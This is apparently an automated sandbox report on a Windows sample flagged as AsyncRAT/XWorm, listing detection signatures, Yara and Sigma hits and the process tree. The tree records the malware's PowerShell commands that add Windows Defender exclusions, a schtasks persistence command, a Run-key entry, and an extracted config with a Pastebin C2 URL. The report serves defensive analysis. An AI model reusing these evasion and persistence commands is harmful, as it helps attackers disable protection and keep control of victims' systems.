Edit tour

Windows Analysis Report
80BvHOM51j.exe

Overview

General Information

Sample name:	80BvHOM51j.exe renamed because original name is a hash value
Original sample name:	2b89bba8e264ad85ed07127f63cc7a711e05867525e4143edddb06dc9bbf2f08.exe
Analysis ID:	1532625
MD5:	2d4b0911cbb27ea9ef26908f3ce841ad
SHA1:	04f30253d2a6982a9ac39b94750012ec2b9a1f5e
SHA256:	2b89bba8e264ad85ed07127f63cc7a711e05867525e4143edddb06dc9bbf2f08
Tags:	exeuser-Chainskilabs
Infos:

Detection

AsyncRAT, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Powershell adding suspicious path to exclusion list

Yara detected AsyncRAT

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops PE files to the startup folder

Drops PE files to the user root directory

Drops script or batch files to the startup folder

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Execution from Suspicious Folder

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to retrieve information about pressed keystrokes

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

80BvHOM51j.exe (PID: 2832 cmdline: "C:\Users\user\Desktop\80BvHOM51j.exe" MD5: 2D4B0911CBB27EA9EF26908F3CE841AD)

conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

coonfart.exe (PID: 4320 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" MD5: A9D1FD427561A90037A112B99EDD9D14)

powershell.exe (PID: 3288 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7492 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'coonfart.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7948 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2656 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3868 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4852 cmdline: C:\Windows\system32\cmd.exe /c cls MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 7376 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

coonfart.exe (PID: 7720 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" MD5: A9D1FD427561A90037A112B99EDD9D14)

Runtime Broker (PID: 7372 cmdline: "C:\Users\Public\Runtime Broker" MD5: A9D1FD427561A90037A112B99EDD9D14)

OpenWith.exe (PID: 7624 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

svchost.exe (PID: 3716 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

OpenWith.exe (PID: 6656 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": "https://pastebin.com/raw/LsuynkUz", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe738:$s6: VirtualBox 0x3b967:$s6: VirtualBox 0xe696:$s8: Win32_ComputerSystem 0x3b8c5:$s8: Win32_ComputerSystem 0x10480:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3d6af:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1051d:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3d74c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10632:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3d861:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xfaf0:$cnc4: POST / HTTP/1.1 0x3cd1f:$cnc4: POST / HTTP/1.1

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\45b52685-cc32-47e5-abd7-306bfc875622[1]	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
C:\Users\Public\Runtime Broker	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\Public\Runtime Broker	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\Public\Runtime Broker	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xc7f7:$s6: VirtualBox 0xc755:$s8: Win32_ComputerSystem 0xe3e1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xe47e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe593:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xdadd:$cnc4: POST / HTTP/1.1
00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd577:$s6: VirtualBox 0xd4d5:$s8: Win32_ComputerSystem 0xf161:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf1fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf313:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe85d:$cnc4: POST / HTTP/1.1
00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe1ef:$s6: VirtualBox 0xe14d:$s8: Win32_ComputerSystem 0xfdd9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfe76:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xff8b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xf4d5:$cnc4: POST / HTTP/1.1
00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xf6d7:$s6: VirtualBox 0xf635:$s8: Win32_ComputerSystem 0x112c1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1135e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x11473:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x109bd:$cnc4: POST / HTTP/1.1
00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x176d7:$s6: VirtualBox 0x17635:$s8: Win32_ComputerSystem 0x192c1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1935e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x19473:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x189bd:$cnc4: POST / HTTP/1.1
Process Memory Space: 80BvHOM51j.exe PID: 2832	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: coonfart.exe PID: 4320	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: coonfart.exe PID: 4320	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.3.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
2.2.coonfart.exe.12d61a78.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.2.coonfart.exe.12d61a78.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.coonfart.exe.12d61a78.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.80BvHOM51j.exe.1ee0bc0bf60.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.3.80BvHOM51j.exe.1ee0bc0bf60.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb977:$s6: VirtualBox 0xb8d5:$s8: Win32_ComputerSystem 0xd561:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd5fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd713:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcc5d:$cnc4: POST / HTTP/1.1
2.2.coonfart.exe.12d61a78.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.2.coonfart.exe.12d61a78.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb977:$s6: VirtualBox 0xb8d5:$s8: Win32_ComputerSystem 0xd561:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd5fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd713:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcc5d:$cnc4: POST / HTTP/1.1
2.0.coonfart.exe.a00000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.coonfart.exe.a00000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.0.coonfart.exe.a00000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xd777:$s6: VirtualBox 0xd6d5:$s8: Win32_ComputerSystem 0xf361:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xf3fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xf513:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xea5d:$cnc4: POST / HTTP/1.1
0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.80BvHOM51j.exe.1ee0bc0bf60.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xb977:$s6: VirtualBox 0xb8d5:$s8: Win32_ComputerSystem 0xd561:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xd5fe:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xd713:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcc5d:$cnc4: POST / HTTP/1.1
Click to see the 13 entries

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Runtime Broker", CommandLine: "C:\Users\Public\Runtime Broker", CommandLine|base64offset|contains: , Image: C:\Users\Public\Runtime Broker, NewProcessName: C:\Users\Public\Runtime Broker, OriginalFileName: C:\Users\Public\Runtime Broker, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: "C:\Users\Public\Runtime Broker", ProcessId: 7372, ProcessName: Runtime Broker

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Runtime Broker, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ProcessId: 4320, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe', ProcessId: 3288, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe" , ParentImage: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, ParentProcessId: 4320, ParentProcessName: coonfart.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker', ProcessId: 7780, ProcessName: powershell.exe

